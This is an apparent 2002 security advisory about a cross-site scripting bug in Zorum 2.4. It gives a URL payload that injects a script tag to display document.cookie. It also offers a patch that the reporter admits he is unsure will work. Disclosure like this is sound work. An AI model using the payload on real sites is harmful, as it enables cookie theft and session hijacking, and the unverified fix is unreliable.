XSS bug in Zorum 2.4

2002-10-11T00:00:00
ID SECURITYVULNS:DOC:3619
Type securityvulns
Reporter Securityvulns
Modified 2002-10-11T00:00:00

Description

Vulnerable systems: Zorum 2.4

Exploit: z_user_show.php?method=showuserlink&class=<Script>javascript:alert (document.cookie)</Script>&rollid=admin&x=3da59a9da8825&

(without "*")

Solution: i think that will work , but im not sure

open dbtreelistproperty_method.php and put this code in line 7:

$class = HTMLSpecialChars($class);

i'm a beginer php developer soooory :)


Arab Vieruz

thanx